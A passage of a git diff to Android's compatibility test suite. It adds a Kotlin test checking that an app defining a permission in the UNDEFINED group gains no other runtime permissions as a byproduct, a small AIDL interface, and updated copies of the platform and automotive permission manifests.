-            assertFalse(mgr.isWallpaperSupported());
-        }
+        assertNull(InstrumentationRegistry.getTargetContext().getSystemService(
+                WALLPAPER_SERVICE));
     }
 
     @Test
diff --git a/tests/tests/permission/src/android/permission/cts/UndefinedGroupPermissionTest.kt b/tests/tests/permission/src/android/permission/cts/UndefinedGroupPermissionTest.kt
new file mode 100644
index 0000000..ba9212b
--- /dev/null
+++ b/tests/tests/permission/src/android/permission/cts/UndefinedGroupPermissionTest.kt
@@ -0,0 +1,161 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.permission.cts
+
+import android.Manifest.permission.CAMERA
+import android.Manifest.permission.RECORD_AUDIO
+import android.app.Instrumentation
+import android.content.ComponentName
+import android.content.Context
+import android.content.Intent
+import android.content.pm.PackageManager
+import android.os.Process
+import android.support.test.uiautomator.By
+import android.support.test.uiautomator.UiDevice
+import android.support.test.uiautomator.UiObjectNotFoundException
+import androidx.test.platform.app.InstrumentationRegistry
+import com.android.compatibility.common.util.SystemUtil
+import com.android.compatibility.common.util.SystemUtil.eventually
+import com.android.compatibility.common.util.UiAutomatorUtils.waitFindObject
+import org.junit.After
+import org.junit.Assert
+import org.junit.Before
+import org.junit.Test
+
+/**
+ * Tests that the permissioncontroller behaves normally when an app defines a permission in the
+ * android.permission-group.UNDEFINED group
+ */
+class UndefinedGroupPermissionTest {
+    private var mInstrumentation: Instrumentation? = null
+    private var mUiDevice: UiDevice? = null
+    private var mContext: Context? = null
+    private var mPm: PackageManager? = null
+
+    @Before
+    fun install() {
+        SystemUtil.runShellCommand("pm install -r " +
+                "$TEST_APP_DEFINES_UNDEFINED_PERMISSION_GROUP_ELEMENT_APK")
+    }
+
+    @Before
+    fun setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation()
+        mUiDevice = UiDevice.getInstance(mInstrumentation)
+        mContext = mInstrumentation?.targetContext
+        mPm = mContext?.packageManager
+    }
+
+    @Before
+    fun wakeUpScreenAndUnlock() {
+        SystemUtil.runShellCommand("input keyevent KEYCODE_WAKEUP")
+        SystemUtil.runShellCommand("input keyevent KEYCODE_MENU")
+    }
+
+    @Test
+    fun testOtherGroupPermissionsNotGranted_1() {
+        testOtherGroupPermissionsNotGranted(CAMERA, RECORD_AUDIO)
+    }
+
+    @Test
+    fun testOtherGroupPermissionsNotGranted_2() {
+        testOtherGroupPermissionsNotGranted(TEST, RECORD_AUDIO)
+    }
+
+    @Test
+    fun testOtherGroupPermissionsNotGranted_3() {
+        testOtherGroupPermissionsNotGranted(CAMERA, TEST)
+    }
+
+    /**
+     * When the custom permission is granted nothing else gets granted as a byproduct.
+     */
+    @Test
+    fun testCustomPermissionGrantedAlone() {
+        Assert.assertEquals(mPm!!.checkPermission(CAMERA, APP_PKG_NAME),
+                PackageManager.PERMISSION_DENIED)
+        Assert.assertEquals(mPm!!.checkPermission(RECORD_AUDIO, APP_PKG_NAME),
+                PackageManager.PERMISSION_DENIED)
+        Assert.assertEquals(mPm!!.checkPermission(TEST, APP_PKG_NAME),
+                PackageManager.PERMISSION_DENIED)
+        eventually {
+            startRequestActivity(arrayOf(TEST))
+            mUiDevice!!.waitForIdle()
+            waitFindObject(By.res(
+                    "com.android.permissioncontroller:id/permission_allow_button"),
+                    100).click()
+        }
+        eventually {
+            Assert.assertEquals(mPm!!.checkPermission(CAMERA, APP_PKG_NAME),
+                    PackageManager.PERMISSION_DENIED)
+            Assert.assertEquals(mPm!!.checkPermission(RECORD_AUDIO, APP_PKG_NAME),
+                    PackageManager.PERMISSION_DENIED)
+            Assert.assertEquals(mPm!!.checkPermission(TEST, APP_PKG_NAME),
+                    PackageManager.PERMISSION_GRANTED)
+        }
+    }
+
+    @After
+    fun uninstall() {
+        SystemUtil.runShellCommand("pm uninstall $APP_PKG_NAME")
+    }
+
+    /**
+     * If app has one permission granted, then it can't grant itself another permission for free.
+     */
+    fun testOtherGroupPermissionsNotGranted(grantedPerm: String, targetPermission: String) {
+        // Grant the permission in the background
+        SystemUtil.runWithShellPermissionIdentity {
+            mPm!!.grantRuntimePermission(
+                    APP_PKG_NAME, grantedPerm, Process.myUserHandle())
+        }
+        Assert.assertEquals("$grantedPerm not granted.", mPm!!.checkPermission(grantedPerm,
+                APP_PKG_NAME), PackageManager.PERMISSION_GRANTED)
+
+        // If the dialog shows, success. If not then either the UI is broken or the permission was
+        // granted in the background.
+        eventually {
+            startRequestActivity(arrayOf(targetPermission))
+            mUiDevice!!.waitForIdle()
+            try {
+                waitFindObject(By.res("com.android.permissioncontroller:id/grant_dialog"), 100)
+            } catch (e: UiObjectNotFoundException) {
+                Assert.assertEquals("grant dialog never showed.",
+                        mPm!!.checkPermission(targetPermission,
+                                APP_PKG_NAME), PackageManager.PERMISSION_GRANTED)
+            }
+        }
+        Assert.assertEquals(mPm!!.checkPermission(targetPermission, APP_PKG_NAME),
+                PackageManager.PERMISSION_DENIED)
+    }
+
+    private fun startRequestActivity(permissions: Array<String>) {
+        mContext!!.startActivity(Intent()
+                .setComponent(
+                        ComponentName(APP_PKG_NAME, "$APP_PKG_NAME.RequestPermissions"))
+                .putExtra(EXTRA_PERMISSIONS, permissions)
+                .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK))
+    }
+
+    companion object {
+        private const val TEST_APP_DEFINES_UNDEFINED_PERMISSION_GROUP_ELEMENT_APK =
+                "/data/local/tmp/cts/permissions/AppThatDefinesUndefinedPermissionGroupElement.apk"
+        private const val APP_PKG_NAME = "android.permission.cts.appthatrequestpermission"
+        private const val EXTRA_PERMISSIONS =
+                "android.permission.cts.appthatrequestpermission.extra.PERMISSIONS"
+        const val TEST = "android.permission.cts.appthatrequestpermission.TEST"
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/permission/src/android/permission/cts/appthataccesseslocation/IAccessLocationOnCommand.aidl b/tests/tests/permission/src/android/permission/cts/appthataccesseslocation/IAccessLocationOnCommand.aidl
new file mode 100644
index 0000000..be92ed1
--- /dev/null
+++ b/tests/tests/permission/src/android/permission/cts/appthataccesseslocation/IAccessLocationOnCommand.aidl
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts.appthataccesseslocation;
+
+interface IAccessLocationOnCommand {
+    /** Access location on command */
+    void accessLocation();
+}
\ No newline at end of file
diff --git a/tests/tests/permission2/res/raw/android_manifest.xml b/tests/tests/permission2/res/raw/android_manifest.xml
index abc63a5..3627195 100644
--- a/tests/tests/permission2/res/raw/android_manifest.xml
+++ b/tests/tests/permission2/res/raw/android_manifest.xml
@@ -2419,7 +2419,7 @@
 
     <!-- Allows interaction across profiles in the same profile group. -->
     <permission android:name="android.permission.INTERACT_ACROSS_PROFILES"
-        android:protectionLevel="signature|appop|documenter|wellbeing" />
+        android:protectionLevel="signature|appop" />
 
     <!-- Allows configuring apps to have the INTERACT_ACROSS_PROFILES permission so that they can
          interact across profiles in the same profile group.
@@ -3143,7 +3143,7 @@
          @hide
     -->
     <permission android:name="android.permission.HIDE_NON_SYSTEM_OVERLAY_WINDOWS"
-                android:protectionLevel="signature|installer" />
+                android:protectionLevel="signature|preinstalled" />
 
     <!-- @SystemApi Allows an application to manage (create, destroy,
          Z-order) application tokens in the window manager.
@@ -4818,7 +4818,7 @@
     <!-- @SystemApi Allows an application to turn on / off quiet mode.
          @hide -->
     <permission android:name="android.permission.MODIFY_QUIET_MODE"
-                android:protectionLevel="signature|privileged|wellbeing" />
+                android:protectionLevel="signature|privileged|wellbeing|development" />
 
     <!-- Allows internal management of the camera framework
          @hide -->
@@ -4995,6 +4995,10 @@
     <permission android:name="android.permission.ACCESS_TV_DESCRAMBLER"
         android:protectionLevel="signature|privileged|vendorPrivileged" />
 
+    <!-- Allows an application to create trusted displays. @hide -->
+    <permission android:name="android.permission.ADD_TRUSTED_DISPLAY"
+                android:protectionLevel="signature" />
+
     <!-- @hide @SystemApi Allows an application to access locusId events in the usage stats. -->
     <permission android:name="android.permission.ACCESS_LOCUS_ID_USAGE_STATS"
                 android:protectionLevel="signature|appPredictor" />
diff --git a/tests/tests/permission2/res/raw/automotive_android_manifest.xml b/tests/tests/permission2/res/raw/automotive_android_manifest.xml
index dac484b..dd37ac9 100644
--- a/tests/tests/permission2/res/raw/automotive_android_manifest.xml
+++ b/tests/tests/permission2/res/raw/automotive_android_manifest.xml
@@ -15,205 +15,340 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        xmlns:androidprv="http://schemas.android.com/apk/prv/res/android"
-        package="com.android.car"
-        coreApp="true"
-        android:sharedUserId="android.uid.system">
+     xmlns:androidprv="http://schemas.android.com/apk/prv/res/android"
+     package="com.android.car"
+     coreApp="true"
+     android:sharedUserId="android.uid.system">
 
-    <original-package android:name="com.android.car" />
-     <permission-group
-        android:name="android.car.permission-group.CAR_MONITORING"
-        android:icon="@drawable/perm_group_car"
-        android:description="@string/car_permission_desc"
-        android:label="@string/car_permission_label" />
-    <permission
-        android:name="android.car.permission.CAR_ENERGY"
-        android:permissionGroup="android.car.permission-group.CAR_MONITORING"
-        android:protectionLevel="dangerous"
-        android:label="@string/car_permission_label_energy"
-        android:description="@string/car_permission_desc_energy" />
-    <permission
-        android:name="android.car.permission.CAR_IDENTIFICATION"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_car_identification"
-        android:description="@string/car_permission_desc_car_identification" />
-    <permission
-        android:name="android.car.permission.CONTROL_CAR_CLIMATE"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_hvac"
-        android:description="@string/car_permission_desc_hvac" />
-    <permission
-        android:name="android.car.permission.CONTROL_CAR_DOORS"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_control_car_doors"
-        android:description="@string/car_permission_desc_control_car_doors" />
-    <permission
-        android:name="android.car.permission.CONTROL_CAR_WINDOWS"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_control_car_windows"
-        android:description="@string/car_permission_desc_control_car_windows" />
-    <permission
-        android:name="android.car.permission.CONTROL_CAR_MIRRORS"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_control_car_mirrors"
-        android:description="@string/car_permission_desc_control_car_mirrors" />
-    <permission
-        android:name="android.car.permission.CONTROL_CAR_SEATS"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_control_car_seats"
-        android:description="@string/car_permission_desc_control_car_seats" />
-    <permission
-        android:name="android.car.permission.CAR_MILEAGE"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_mileage"
-        android:description="@string/car_permission_desc_mileage" />
-    <permission
-        android:name="android.car.permission.CAR_TIRES"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_car_tires"
-        android:description="@string/car_permission_desc_car_tires" />
-    <permission
-        android:name="android.car.permission.READ_CAR_STEERING"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_car_steering"
-        android:description="@string/car_permission_desc_car_steering" />
-    <permission
-        android:name="android.car.permission.READ_CAR_DISPLAY_UNITS"
-        android:protectionLevel="normal"
-        android:label="@string/car_permission_label_read_car_display_units"
-        android:description="@string/car_permission_desc_read_car_display_units" />
-    <permission
-        android:name="android.car.permission.CONTROL_CAR_DISPLAY_UNITS"
-        android:protectionLevel="normal"
-        android:label="@string/car_permission_label_control_car_display_units"
-        android:description="@string/car_permission_desc_control_car_display_units" />
-    <permission
-        android:name="android.car.permission.CAR_SPEED"
-        android:permissionGroup="android.permission-group.LOCATION"
-        android:protectionLevel="dangerous"
-        android:label="@string/car_permission_label_speed"
-        android:description="@string/car_permission_desc_speed" />
-    <permission
-        android:name="android.car.permission.CAR_ENERGY_PORTS"
-        android:protectionLevel="normal"
-        android:label="@string/car_permission_label_car_energy_ports"
-        android:description="@string/car_permission_desc_car_energy_ports" />
-    <permission
-        android:name="android.car.permission.CAR_ENGINE_DETAILED"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_car_engine_detailed"
-        android:description="@string/car_permission_desc_car_engine_detailed" />
-    <permission
-        android:name="android.car.permission.CAR_DYNAMICS_STATE"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_vehicle_dynamics_state"
-        android:description="@string/car_permission_desc_vehicle_dynamics_state" />
-    <permission
-        android:name="android.car.permission.CAR_VENDOR_EXTENSION"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_vendor_extension"
-        android:description="@string/car_permission_desc_vendor_extension" />
-    <permission
-        android:name="android.car.permission.CAR_PROJECTION"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_projection"
-        android:description="@string/car_permission_desc_projection" />
-    <permission
-            android:name="android.car.permission.ACCESS_CAR_PROJECTION_STATUS"
-            android:protectionLevel="system|signature"
-            android:label="@string/car_permission_label_access_projection_status"
-            android:description="@string/car_permission_desc_access_projection_status" />
-    <permission
-            android:name="android.car.permission.BIND_PROJECTION_SERVICE"
-            android:protectionLevel="signature"
-            android:label="@string/car_permission_label_bind_projection_service"
-            android:description="@string/car_permission_desc_bind_projection_service" />
-    <permission
-        android:name="android.car.permission.CAR_MOCK_VEHICLE_HAL"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_mock_vehicle_hal"
-        android:description="@string/car_permission_desc_mock_vehicle_hal" />
-    <permission
-        android:name="android.car.permission.CAR_INFO"
-        android:protectionLevel="normal"
-        android:label="@string/car_permission_label_car_info"
-        android:description="@string/car_permission_desc_car_info" />
-    <permission
-        android:name="android.car.permission.CAR_EXTERIOR_ENVIRONMENT"
-        android:protectionLevel="normal"
-        android:label="@string/car_permission_label_car_exterior_environment"
-        android:description="@string/car_permission_desc_car_exterior_environment" />
-    <permission
-        android:name="android.car.permission.CAR_EXTERIOR_LIGHTS"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_car_exterior_lights"
-        android:description="@string/car_permission_desc_car_exterior_lights" />
-    <permission
-        android:name="android.car.permission.CONTROL_CAR_EXTERIOR_LIGHTS"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_control_car_exterior_lights"
-        android:description="@string/car_permission_desc_control_car_exterior_lights" />
-    <permission
-        android:name="android.car.permission.READ_CAR_INTERIOR_LIGHTS"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_car_interior_lights"
-        android:description="@string/car_permission_desc_car_interior_lights" />
-    <permission
-        android:name="android.car.permission.CONTROL_CAR_INTERIOR_LIGHTS"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_control_car_interior_lights"
-        android:description="@string/car_permission_desc_control_car_interior_lights" />
-    <permission
-        android:name="android.car.permission.CAR_POWER"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_car_power"
-        android:description="@string/car_permission_desc_car_power" />
-    <permission
-        android:name="android.car.permission.CAR_POWERTRAIN"
-        android:protectionLevel="normal"
-        android:label="@string/car_permission_label_car_powertrain"
-        android:description="@string/car_permission_desc_car_powertrain" />
-    <permission
-        android:name="android.car.permission.CAR_NAVIGATION_MANAGER"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_car_navigation_manager"
-        android:description="@string/car_permission_desc_car_navigation_manager" />
-    <permission
-        android:name="android.car.permission.CAR_DIAGNOSTICS"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_diag_read"
-        android:description="@string/car_permission_desc_diag_read" />
-    <permission
-      android:name="android.car.permission.CLEAR_CAR_DIAGNOSTICS"
-      android:protectionLevel="system|signature"
-      android:label="@string/car_permission_label_diag_clear"
-      android:description="@string/car_permission_desc_diag_clear" />
-    <permission
-        android:name="android.car.permission.BIND_VMS_CLIENT"
-        android:protectionLevel="signature"
-        android:label="@string/car_permission_label_bind_vms_client"
-        android:description="@string/car_permission_desc_bind_vms_client" />
-    <permission
-        android:name="android.car.permission.VMS_PUBLISHER"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_vms_publisher"
-        android:description="@string/car_permission_desc_vms_publisher" />
-    <permission
-        android:name="android.car.permission.VMS_SUBSCRIBER"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_vms_subscriber"
-        android:description="@string/car_permission_desc_vms_subscriber" />
-    <permission
-        android:name="android.car.permission.CAR_DRIVING_STATE"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_driving_state"
-        android:description="@string/car_permission_desc_driving_state" />
+    <original-package android:name="com.android.car"/>
+     <permission-group android:name="android.car.permission-group.CAR_MONITORING"
+          android:icon="@drawable/perm_group_car"
+          android:description="@string/car_permission_desc"
+          android:label="@string/car_permission_label"/>
+    <permission android:name="android.car.permission.CAR_ENERGY"
+         android:permissionGroup="android.car.permission-group.CAR_MONITORING"
+         android:protectionLevel="dangerous"
+         android:label="@string/car_permission_label_energy"
+         android:description="@string/car_permission_desc_energy"/>
+    <permission android:name="android.car.permission.CAR_IDENTIFICATION"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_car_identification"
+         android:description="@string/car_permission_desc_car_identification"/>
+    <permission android:name="android.car.permission.CONTROL_CAR_CLIMATE"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_hvac"
+         android:description="@string/car_permission_desc_hvac"/>
+    <permission android:name="android.car.permission.CONTROL_CAR_DOORS"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_control_car_doors"
+         android:description="@string/car_permission_desc_control_car_doors"/>
+    <permission android:name="android.car.permission.CONTROL_CAR_WINDOWS"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_control_car_windows"
+         android:description="@string/car_permission_desc_control_car_windows"/>
+    <permission android:name="android.car.permission.CONTROL_CAR_MIRRORS"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_control_car_mirrors"
+         android:description="@string/car_permission_desc_control_car_mirrors"/>
+    <permission android:name="android.car.permission.CONTROL_CAR_SEATS"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_control_car_seats"
+         android:description="@string/car_permission_desc_control_car_seats"/>
+    <permission android:name="android.car.permission.CAR_MILEAGE"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_mileage"
+         android:description="@string/car_permission_desc_mileage"/>
+    <permission android:name="android.car.permission.CAR_TIRES"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_car_tires"
+         android:description="@string/car_permission_desc_car_tires"/>
+    <permission android:name="android.car.permission.READ_CAR_STEERING"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_car_steering"
+         android:description="@string/car_permission_desc_car_steering"/>
+    <permission android:name="android.car.permission.READ_CAR_DISPLAY_UNITS"
+         android:protectionLevel="normal"
+         android:label="@string/car_permission_label_read_car_display_units"
+         android:description="@string/car_permission_desc_read_car_display_units"/>
+    <permission android:name="android.car.permission.CONTROL_CAR_DISPLAY_UNITS"
+         android:protectionLevel="normal"
+         android:label="@string/car_permission_label_control_car_display_units"
+         android:description="@string/car_permission_desc_control_car_display_units"/>
+    <permission android:name="android.car.permission.CAR_SPEED"
+         android:permissionGroup="android.permission-group.LOCATION"
+         android:protectionLevel="dangerous"
+         android:label="@string/car_permission_label_speed"
+         android:description="@string/car_permission_desc_speed"/>
+    <permission android:name="android.car.permission.CAR_ENERGY_PORTS"
+         android:protectionLevel="normal"
+         android:label="@string/car_permission_label_car_energy_ports"
+         android:description="@string/car_permission_desc_car_energy_ports"/>
+    <permission android:name="android.car.permission.CAR_ENGINE_DETAILED"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_car_engine_detailed"
+         android:description="@string/car_permission_desc_car_engine_detailed"/>
+    <permission android:name="android.car.permission.CAR_DYNAMICS_STATE"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_vehicle_dynamics_state"
+         android:description="@string/car_permission_desc_vehicle_dynamics_state"/>
+    <permission android:name="android.car.permission.CAR_VENDOR_EXTENSION"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_vendor_extension"
+         android:description="@string/car_permission_desc_vendor_extension"/>
+    <permission android:name="android.car.permission.CAR_PROJECTION"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_projection"
+         android:description="@string/car_permission_desc_projection"/>
+    <permission android:name="android.car.permission.ACCESS_CAR_PROJECTION_STATUS"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_access_projection_status"
+         android:description="@string/car_permission_desc_access_projection_status"/>
+    <permission android:name="android.car.permission.BIND_PROJECTION_SERVICE"
+         android:protectionLevel="signature"
+         android:label="@string/car_permission_label_bind_projection_service"
+         android:description="@string/car_permission_desc_bind_projection_service"/>
+    <permission android:name="android.car.permission.CAR_MOCK_VEHICLE_HAL"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_mock_vehicle_hal"
+         android:description="@string/car_permission_desc_mock_vehicle_hal"/>
+    <permission android:name="android.car.permission.CAR_INFO"
+         android:protectionLevel="normal"
+         android:label="@string/car_permission_label_car_info"
+         android:description="@string/car_permission_desc_car_info"/>
+    <permission android:name="android.car.permission.CAR_EXTERIOR_ENVIRONMENT"
+         android:protectionLevel="normal"
+         android:label="@string/car_permission_label_car_exterior_environment"
+         android:description="@string/car_permission_desc_car_exterior_environment"/>
+    <permission android:name="android.car.permission.CAR_EXTERIOR_LIGHTS"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_car_exterior_lights"
+         android:description="@string/car_permission_desc_car_exterior_lights"/>
+    <permission android:name="android.car.permission.CONTROL_CAR_EXTERIOR_LIGHTS"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_control_car_exterior_lights"
+         android:description="@string/car_permission_desc_control_car_exterior_lights"/>
+    <permission android:name="android.car.permission.READ_CAR_INTERIOR_LIGHTS"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_car_interior_lights"
+         android:description="@string/car_permission_desc_car_interior_lights"/>
+    <permission android:name="android.car.permission.CONTROL_CAR_INTERIOR_LIGHTS"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_control_car_interior_lights"
+         android:description="@string/car_permission_desc_control_car_interior_lights"/>
+    <permission android:name="android.car.permission.CAR_POWER"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_car_power"
+         android:description="@string/car_permission_desc_car_power"/>
+    <permission android:name="android.car.permission.CAR_POWERTRAIN"
+         android:protectionLevel="normal"
+         android:label="@string/car_permission_label_car_powertrain"
+         android:description="@string/car_permission_desc_car_powertrain"/>
+    <permission android:name="android.car.permission.CAR_NAVIGATION_MANAGER"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_car_navigation_manager"
+         android:description="@string/car_permission_desc_car_navigation_manager"/>
+    <permission android:name="android.car.permission.CAR_DIAGNOSTICS"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_diag_read"
+         android:description="@string/car_permission_desc_diag_read"/>
+    <permission android:name="android.car.permission.CLEAR_CAR_DIAGNOSTICS"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_diag_clear"
+         android:description="@string/car_permission_desc_diag_clear"/>
+    <permission android:name="android.car.permission.BIND_VMS_CLIENT"
+         android:protectionLevel="signature"
+         android:label="@string/car_permission_label_bind_vms_client"
+         android:description="@string/car_permission_desc_bind_vms_client"/>
+    <permission android:name="android.car.permission.VMS_PUBLISHER"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_vms_publisher"
+         android:description="@string/car_permission_desc_vms_publisher"/>
+    <permission android:name="android.car.permission.VMS_SUBSCRIBER"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_vms_subscriber"
+         android:description="@string/car_permission_desc_vms_subscriber"/>
+    <permission android:name="android.car.permission.CAR_DRIVING_STATE"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_driving_state"
+         android:description="@string/car_permission_desc_driving_state"/>
     <!--  may replace this with system permission if proper one is defined. -->
-    <permission
-        android:name="android.car.permission.CONTROL_APP_BLOCKING"
-        android:protectionLevel="system|signature"
-        android:label="@string/car_permission_label_control_app_blocking"
-        android:description="@string/car_permission_desc_control_app_blocking" />
+    <permission android:name="android.car.permission.CONTROL_APP_BLOCKING"
+         android:protectionLevel="system|signature"
+         android:label="@string/car_permission_label_control_app_blocking"
+         android:description="@string/car_permission_desc_control_app_blocking"/>
+    <permission android:name="android.car.permission.ADJUST_RANGE_REMAINING"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_adjust_range_remaining"
+         android:description="@string/car_permission_desc_adjust_range_remaining"/>
+    <permission android:name="android.car.permission.READ_CAR_OCCUPANT_AWARENESS_STATE"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_read_car_occupant_awareness_state"
+         android:description="@string/car_permission_desc_read_car_occupant_awareness_state"/>
+    <permission android:name="android.car.permission.CONTROL_CAR_ENERGY_PORTS"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_control_car_energy_ports"
+         android:description="@string/car_permission_desc_control_car_energy_ports"/>
+    <permission android:name="android.car.permission.CONTROL_CAR_OCCUPANT_AWARENESS_SYSTEM"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_control_car_occupant_awareness_system"
+         android:description="@string/car_permission_desc_control_car_occupant_awareness_system"/>
+    <permission android:name="android.car.permission.CONTROL_CAR_FEATURES"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_control_car_features"
+         android:description="@string/car_permission_desc_control_car_features"/>
+    <permission android:name="android.car.permission.USE_CAR_WATCHDOG"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_use_car_watchdog"
+         android:description="@string/car_permission_desc_use_car_watchdog"/>
+    <permission android:name="android.car.permission.READ_CAR_VENDOR_PERMISSION_INFO"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_vendor_permission_info"
+         android:description="@string/car_permission_desc_vendor_permission_info"/>
+    <!-- Permission for vendor properties -->
+    <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_WINDOW"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_get_car_vendor_category_window"
+         android:description="@string/car_permission_desc_get_car_vendor_category_window"/>
+    <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_WINDOW"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_set_car_vendor_category_window"
+         android:description="@string/car_permission_desc_set_car_vendor_category_window"/>
+    <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_DOOR"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_get_car_vendor_category_door"
+         android:description="@string/car_permission_desc_get_car_vendor_category_door"/>
+    <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_DOOR"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_set_car_vendor_category_door"
+         android:description="@string/car_permission_desc_set_car_vendor_category_door"/>
+    <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_SEAT"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_get_car_vendor_category_seat"
+         android:description="@string/car_permission_desc_get_car_vendor_category_seat"/>
+    <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_SEAT"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_set_car_vendor_category_seat"
+         android:description="@string/car_permission_desc_set_car_vendor_category_seat"/>
+    <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_MIRROR"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_get_car_vendor_category_mirror"
+         android:description="@string/car_permission_desc_get_car_vendor_category_mirror"/>
+    <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_MIRROR"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_set_car_vendor_category_mirror"
+         android:description="@string/car_permission_desc_set_car_vendor_category_mirror"/>
+    <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_INFO"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_get_car_vendor_category_info"
+         android:description="@string/car_permission_desc_get_car_vendor_category_info"/>
+    <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_INFO"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_set_car_vendor_category_info"
+         android:description="@string/car_permission_desc_set_car_vendor_category_info"/>
+    <permission android:name="android.car.permission.GET_CAR_VENDOR_CATEGORY_ENGINE"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_get_car_vendor_category_engine"
+         android:description="@string/car_permission_desc_get_car_vendor_category_engine"/>
+    <permission android:name="android.car.permission.SET_CAR_VENDOR_CATEGORY_ENGINE"
+         android:protectionLevel="signature|privileged"
+         android:label="@string/car_permission_label_set_car_vendor_category_engine"
